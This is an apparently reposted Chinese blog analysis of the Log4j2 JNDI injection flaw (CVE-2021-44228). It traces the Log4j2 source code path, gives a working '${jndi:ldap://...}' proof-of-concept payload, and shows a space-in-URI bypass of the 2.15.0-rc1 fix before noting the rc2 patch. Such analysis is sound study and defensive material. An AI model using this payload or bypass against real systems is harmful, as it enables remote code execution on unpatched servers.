安全漏洞之Log4j2漏洞复现绕过分析

2021-12-12 21:33:26 阅读：271 来源： 互联网

标签：return String final lookup 复现安全漏洞 null Log4j2 event

0x00 介绍

Log4j2是Java开发常用的日志框架，该漏洞触发条件低，危害大，由阿里云安全团队报告

分配CVE编号：CVE-2021-44228

CVSS评分：10.0（最高只能10分）

POC比较简单

public static void main(String[] args) throws Exception {
    logger.error("${jndi:ldap://127.0.0.1:1389/badClassName}");
}

POC虽然简单，但是搭建LDAP环境显得有点复杂，marshalsec方式需要自行编译class并搭建HTTP服务端

java -jar LDAPKit.jar [命令]

截图如下

【一>所有资源获取<一】
1、200份很多已经买不到的绝版电子书
2、30G安全大厂内部的视频资料
3、100份src文档
4、常见安全面试题
5、ctf大赛经典题目解析
6、全套工具包
7、应急响应笔记
8、网络安全学习路线

0x01 RCE分析

首先来看RCE是怎样的原理，先来一段又臭又长的流程分析

看看从logger.error到JndiLookup.lookup中间经历了些什么

从logger.error()层层跟到AbstractLogger.tryLogMessage.log方法

private void tryLogMessage(final String fqcn,
                           final StackTraceElement location,
                           final Level level,
                           final Marker marker,
                           final Message message,
                           final Throwable throwable) {
    try {
        log(level, marker, fqcn, location, message, throwable);
    } catch (final Exception e) {
        handleLogMessageException(e, fqcn, message);
    }
}

不动态调试的情况下跟log方法会到AbstractLogger.log方法，实际上这里是org.apache.logging.log4j.core.Loggger.log方法

@Override
protected void log(final Level level, final Marker marker, final String fqcn, final StackTraceElement location,
                   final Message message, final Throwable throwable) {
    final ReliabilityStrategy strategy = privateConfig.loggerConfig.getReliabilityStrategy();
    if (strategy instanceof LocationAwareReliabilityStrategy) {
        // 触发点
        ((LocationAwareReliabilityStrategy) strategy).log(this, getName(), fqcn, location, marker, level,
                                                          message, throwable);
    } else {
        strategy.log(this, getName(), fqcn, marker, level, message, throwable);
    }
}

跟入这里的log方法到org/apache/logging/log4j/core/config/DefaultReliabilityStrategy.log

@Override
public void log(final Supplier<LoggerConfig> reconfigured, final String loggerName, final String fqcn,
                final StackTraceElement location, final Marker marker, final Level level, final Message data,
                final Throwable t) {
    loggerConfig.log(loggerName, fqcn, location, marker, level, data, t);
}

进入LoggerConfig.log方法

@PerformanceSensitive("allocation")
    public void log(final String loggerName, final String fqcn, final StackTraceElement location, final Marker marker,
        final Level level, final Message data, final Throwable t) {
        // 无需关心的代码
        ...
        try {
            // 跟入
            log(logEvent, LoggerConfigPredicate.ALL);
        } finally {
            ReusableLogEventFactory.release(logEvent);
        }
    }

进入LoggerConfig另一处重载log方法

protected void log(final LogEvent event, final LoggerConfigPredicate predicate) {
    if (!isFiltered(event)) {
        // 跟入
        processLogEvent(event, predicate);
    }
}

private void processLogEvent(final LogEvent event, final LoggerConfigPredicate predicate) {
    event.setIncludeLocation(isIncludeLocation());
    if (predicate.allow(this)) {
        // 关键点
        callAppenders(event);
    }
    logParent(event, predicate);
}

可以看到调用appender.control的callAppender方法

@PerformanceSensitive("allocation")
protected void callAppenders(final LogEvent event) {
    final AppenderControl[] controls = appenders.get();
    //noinspection ForLoopReplaceableByForEach
    for (int i = 0; i < controls.length; i++) {
        controls[i].callAppender(event);
    }
}

层层跟入到AppenderControl.tryCallAppender方法

private void callAppender0(final LogEvent event) {
    ensureAppenderStarted();
    if (!isFilteredByAppender(event)) {
        // 跟入
        tryCallAppender(event);
    }
}

private void tryCallAppender(final LogEvent event) {
    try {
        // 跟入
        appender.append(event);
    } catch (final RuntimeException error) {
        handleAppenderError(event, error);
    } catch (final Exception error) {
        handleAppenderError(event, new AppenderLoggingException(error));
    }
}

进入AbstractOutputStreamAppender.append方法，进入到directEncodeEvent方法

protected void directEncodeEvent(final LogEvent event) {
    getLayout().encode(event, manager);
    if (this.immediateFlush || event.isEndOfBatch()) {
        manager.flush();
    }
}

关注其中的encode方法跟入到PatternLayout.encode方法

@Override
public void encode(final LogEvent event, final ByteBufferDestination destination) {
    if (!(eventSerializer instanceof Serializer2)) {
        super.encode(event, destination);
        return;
    }
    final StringBuilder text = toText((Serializer2) eventSerializer, event, getStringBuilder());
    final Encoder<StringBuilder> encoder = getStringBuilderEncoder();
    encoder.encode(text, destination);
    trimToMaxSize(text);
}

不用关心多余的代码，这里触发点在toText方法

private StringBuilder toText(final Serializer2 serializer, final LogEvent event,
                             final StringBuilder destination) {
    return serializer.toSerializable(event, destination);
}

@Override
public StringBuilder toSerializable(final LogEvent event, final StringBuilder buffer) {
    final int len = formatters.length;
    for (int i = 0; i < len; i++) {
        // 发现其中某一处format方法触发漏洞
        formatters[i].format(event, buffer);
    }
    if (replace != null) {
        String str = buffer.toString();
        str = replace.format(str);
        buffer.setLength(0);
        buffer.append(str);
    }
    return buffer;
}

这里的formatters方法包含了多个formatter对象，其中出发漏洞的是第8个，其中包含MessagePatternConverter

跟入看到调用了Converter相关的方法

public void format(final LogEvent event, final StringBuilder buf) {
    if (skipFormattingInfo) {
        converter.format(event, buf);
    } else {
        formatWithInfo(event, buf);
    }
}

不难看出每个formatter和converter为了构造日志的每一部分，这里在构造真正的日志信息字符串部分

跟入MessagePatternConverter.format方法，看到核心的部分

@Override
public void format(final LogEvent event, final StringBuilder toAppendTo) {
    final Message msg = event.getMessage();
    if (msg instanceof StringBuilderFormattable) {

        final boolean doRender = textRenderer != null;
        final StringBuilder workingBuilder = doRender ? new StringBuilder(80) : toAppendTo;

        final int offset = workingBuilder.length();
        if (msg instanceof MultiFormatStringBuilderFormattable) {
            ((MultiFormatStringBuilderFormattable) msg).formatTo(formats, workingBuilder);
        } else {
            ((StringBuilderFormattable) msg).formatTo(workingBuilder);
        }
        if (config != null && !noLookups) {
            for (int i = offset; i < workingBuilder.length() - 1; i++) {
                // 是否以${开头
                if (workingBuilder.charAt(i) == '/pre> && workingBuilder.charAt(i + 1) == '{') {
                    // 这个value是：${jndi:ldap://127.0.0.1:1389/badClassName}
                    final String value = workingBuilder.substring(offset, workingBuilder.length());
                    workingBuilder.setLength(offset);
                    // 跟入replace方法
                    workingBuilder.append(config.getStrSubstitutor().replace(event, value));
                }
            }
        }
        if (doRender) {
            textRenderer.render(workingBuilder, toAppendTo);
        }
        return;
    }
    if (msg != null) {
        String result;
        if (msg instanceof MultiformatMessage) {
            result = ((MultiformatMessage) msg).getFormattedMessage(formats);
        } else {
            result = msg.getFormattedMessage();
        }
        if (result != null) {
            toAppendTo.append(config != null && result.contains("${")
                              ? config.getStrSubstitutor().replace(event, result) : result);
        } else {
            toAppendTo.append("null");
        }
    }
}

进入StrSubstitutor.replace方法

public String replace(final LogEvent event, final String source) {
    if (source == null) {
        return null;
    }
    final StringBuilder buf = new StringBuilder(source);
    // 跟入
    if (!substitute(event, buf, 0, source.length())) {
        return source;
    }
    return buf.toString();
}

跟入StrSubstitutor.subtute方法，存在递归，逻辑较长

主要作用是递归处理日志输入，转为对应的输出

private int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length,
                       List<String> priorVariables) {
    ...
    substitute(event, bufName, 0, bufName.length());
    ...
    String varValue = resolveVariable(event, varName, buf, startPos, endPos);
    ...
    int change = substitute(event, buf, startPos, varLen, priorVariables);
}

其实这里是触发漏洞的必要条件，通常情况下程序员会这样写日志相关代码

logger.error("error_message:" + info);

黑客的恶意输入有可能进入info变量导致这里变成

logger.error("error_message:${jndi:ldap://127.0.0.1:1389/badClassName}");

这里的递归处理成功地让jndi:ldap://127.0.0.1:1389/badClassName进入resolveVariable方法

经过调试确认了关键方法resolveVariable

protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf,
                                 final int startPos, final int endPos) {
    final StrLookup resolver = getVariableResolver();
    if (resolver == null) {
        return null;
    }
    // 进入
    return resolver.lookup(event, variableName);
}

跟入这里的lookup可以看到很多师傅们截图的方法

@Override
public String lookup(final LogEvent event, String var) {
    if (var == null) {
        return null;
    }

    final int prefixPos = var.indexOf(PREFIX_SEPARATOR);
    if (prefixPos >= 0) {
        final String prefix = var.substring(0, prefixPos).toLowerCase(Locale.US);
        final String name = var.substring(prefixPos + 1);
        // 关键
        final StrLookup lookup = strLookupMap.get(prefix);
        if (lookup instanceof ConfigurationAware) {
            ((ConfigurationAware) lookup).setConfiguration(configuration);
        }
        String value = null;
        if (lookup != null) {
            // 这里的name是：ldap://127.0.0.1:1389/badClassName
            value = event == null ? lookup.lookup(name) : lookup.lookup(event, name);
        }

        if (value != null) {
            return value;
        }
        var = var.substring(prefixPos + 1);
    }
    if (defaultLookup != null) {
        return event == null ? defaultLookup.lookup(var) : defaultLookup.lookup(event, var);
    }
    return null;
}

这里的strLookupMap中包含了多种Lookup对象

类似地，可以这样用

logger.error("${java:runtime}");
// 打印
00:36:26.312 [main] ERROR Main - Java(TM) SE Runtime Environment (build 1.8.0_131-b11) from Oracle Corporation

跟入JndiLookup.lookup

@Override
public String lookup(final LogEvent event, final String key) {
    if (key == null) {
        return null;
    }
    final String jndiName = convertJndiName(key);
    try (final JndiManager jndiManager = JndiManager.getDefaultManager()) {
        // 跟入lookup
        return Objects.toString(jndiManager.lookup(jndiName), null);
    } catch (final NamingException e) {
        LOGGER.warn(LOOKUP, "Error looking up JNDI resource [{}].", jndiName, e);
        return null;
    }
}

最后触发点JndiManager.lookup

@SuppressWarnings("unchecked")
public <T> T lookup(final String name) throws NamingException {
    return (T) this.context.lookup(name);
}

0x03 RC1修复绕过

修复版本2.15.0-rc1

跟了下流程发现到PatternLayout.toSerializable方法发生了变化

不过这里的变化没有什么影响，其中的formatters属性的变化导致了${}不会被处理

@Override
public StringBuilder toSerializable(final LogEvent event, final StringBuilder buffer) {
    for (PatternFormatter formatter : formatters) {
        formatter.format(event, buffer);
    }
    return buffer;
}

这里某个formatter包含了MessagePatternConverter

在修复后变成了MessagePatternConverter.SimplePatternConverter类

可以发现在这个类中变成了直接拼接字符串的操作，不去判断${}这种情况

private static final class SimpleMessagePatternConverter extends MessagePatternConverter {
    private static final MessagePatternConverter INSTANCE = new SimpleMessagePatternConverter();
    @Override
    public void format(final LogEvent event, final StringBuilder toAppendTo) {
        Message msg = event.getMessage();
        // 直接拼接字符串
        if (msg instanceof StringBuilderFormattable) {
            ((StringBuilderFormattable) msg).formatTo(toAppendTo);
        } else if (msg != null) {
            toAppendTo.append(msg.getFormattedMessage());
        }
    }
}

注意到另一个子类LookupMessagePatternConverter

如果Converter被设置为该类，那么会继续进行${}的处理

private static final class LookupMessagePatternConverter extends MessagePatternConverter {
    private final MessagePatternConverter delegate;
    private final Configuration config;

    LookupMessagePatternConverter(final MessagePatternConverter delegate, final Configuration config) {
        this.delegate = delegate;
        this.config = config;
    }

    @Override
    public void format(final LogEvent event, final StringBuilder toAppendTo) {
        int start = toAppendTo.length();
        delegate.format(event, toAppendTo);
        // 判断${}
        int indexOfSubstitution = toAppendTo.indexOf("${", start);
        if (indexOfSubstitution >= 0) {
            config.getStrSubstitutor()
                // 进入了上文的流程
                .replaceIn(event, toAppendTo, indexOfSubstitution, toAppendTo.length() - indexOfSubstitution);
        }
    }
}

具体需要设置为哪一个子类取决于用户的配置

private static final String LOOKUPS = "lookups";
private static final String NOLOOKUPS = "nolookups";

public static MessagePatternConverter newInstance(final Configuration config, final String[] options) {
    boolean lookups = loadLookups(options);
    String[] formats = withoutLookupOptions(options);
    TextRenderer textRenderer = loadMessageRenderer(formats);
    // 默认不配置lookup功能
    MessagePatternConverter result = formats == null || formats.length == 0
        ? SimpleMessagePatternConverter.INSTANCE
        : new FormattedMessagePatternConverter(formats);
    if (lookups && config != null) {
        // 只有用户进行配置才会触发
        result = new LookupMessagePatternConverter(result, config);
    }
    if (textRenderer != null) {
        result = new RenderingPatternConverter(result, textRenderer);
    }
    return result;
}

于是想办法开启lookup功能分析后续有没有限制

final Configuration config = new DefaultConfigurationBuilder().build(true);
// 配置开启lookup功能
final MessagePatternConverter converter =
    MessagePatternConverter.newInstance(config, new String[] {"lookups"});
final Message msg = new ParameterizedMessage("${jndi:ldap://127.0.0.1:1389/badClassName}");
final LogEvent event = Log4jLogEvent.newBuilder()
    .setLoggerName("MyLogger")
    .setLevel(Level.DEBUG)
    .setMessage(msg).build();
final StringBuilder sb = new StringBuilder();
converter.format(event, sb);
System.out.println(sb);

成功开启lookups功能，调用LookupMessagePatternConverter.fomat方法

递归处理等过程均没有变化，最后JndiManager.lookup触发漏洞的地方进行了修改

public synchronized <T> T lookup(final String name) throws NamingException {
    try {
        URI uri = new URI(name);
        if (uri.getScheme() != null) {
            // 允许的协议白名单
            if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) {
                LOGGER.warn("Log4j JNDI does not allow protocol {}", uri.getScheme());
                return null;
            }
            if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) {
                // 允许的host白名单
                if (!allowedHosts.contains(uri.getHost())) {
                    LOGGER.warn("Attempt to access ldap server not in allowed list");
                    return null;
                }
                Attributes attributes = this.context.getAttributes(name);
                if (attributes != null) {
                    Map<String, Attribute> attributeMap = new HashMap<>();
                    NamingEnumeration<? extends Attribute> enumeration = attributes.getAll();
                    while (enumeration.hasMore()) {
                        Attribute attribute = enumeration.next();
                        attributeMap.put(attribute.getID(), attribute);
                    }
                    Attribute classNameAttr = attributeMap.get(CLASS_NAME);
                    // 参考下图我们这种Payload不存在javaSerializedData头
                    // 所以不会进入类白名单判断
                    if (attributeMap.get(SERIALIZED_DATA) != null) {
                        if (classNameAttr != null) {
                            // 类名白名单
                            String className = classNameAttr.get().toString();
                            if (!allowedClasses.contains(className)) {
                                LOGGER.warn("Deserialization of {} is not allowed", className);
                                return null;
                            }
                        } else {
                            LOGGER.warn("No class name provided for {}", name);
                            return null;
                        }
                    } else if (attributeMap.get(REFERENCE_ADDRESS) != null
                               || attributeMap.get(OBJECT_FACTORY) != null) {
                        // 不允许REFERENCE这种加载对象的方式
                        LOGGER.warn("Referenceable class is not allowed for {}", name);
                        return null;
                    }
                }
            }
        }
    } catch (URISyntaxException ex) {
        // This is OK.
    }
    return (T) this.context.lookup(name);
}

看看实际运行中，这几个白名单是怎样的

默认的协议是：java，ldap，ldaps

默认数据类型是八大基本数据类型

默认的Host白名单是localhost

实际上拦住Payload是在最后一处OBJECT_FACTORY判断

由于RCE一定需要加载远程对象，那么避免不了javaFactory属性（或者有一些其他思路，笔者刚做Java安全不了解）

看起来无懈可击，然而这里有一处细节问题

public synchronized <T> T lookup(final String name) throws NamingException {
    try {
        URI uri = new URI(name);
        ...
    } catch (URISyntaxException ex) {
        // This is OK.
    }
    return (T) this.context.lookup(name);
}

如果发生了URISyntaxException异常会直接this.context.lookup

能否想办法让new URI(name);时候报错但name传入context.lookup(name);时正常

经过测试发现URI中不进行URL编码会报这个错，加个空格即可触发${jndi:ldap://127.0.0.1:1389/ badClassName}（不对空格做编码导致异常，但是lookup时候会去掉这个空格）

成功RCE（需要用户开启lookup功能的基础上才可以）

0x04 RC2修复

RC2的修复方案是直接return，有效解决了上文的绕过

try{
} catch (URISyntaxException ex) {
    LOGGER.warn("Invalid JNDI URI - {}", name);
    return null;
}
return (T) this.context.lookup(name);

标签：return,String,final,lookup,复现,安全漏洞,null,Log4j2,event
来源： https://blog.csdn.net/kali_Ma/article/details/121893560

本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享；
2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关；
3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关；
4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除；
5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

ICode9

安全漏洞之Log4j2漏洞复现绕过分析

0x00 介绍

0x01 RCE分析

0x03 RC1修复绕过

0x04 RC2修复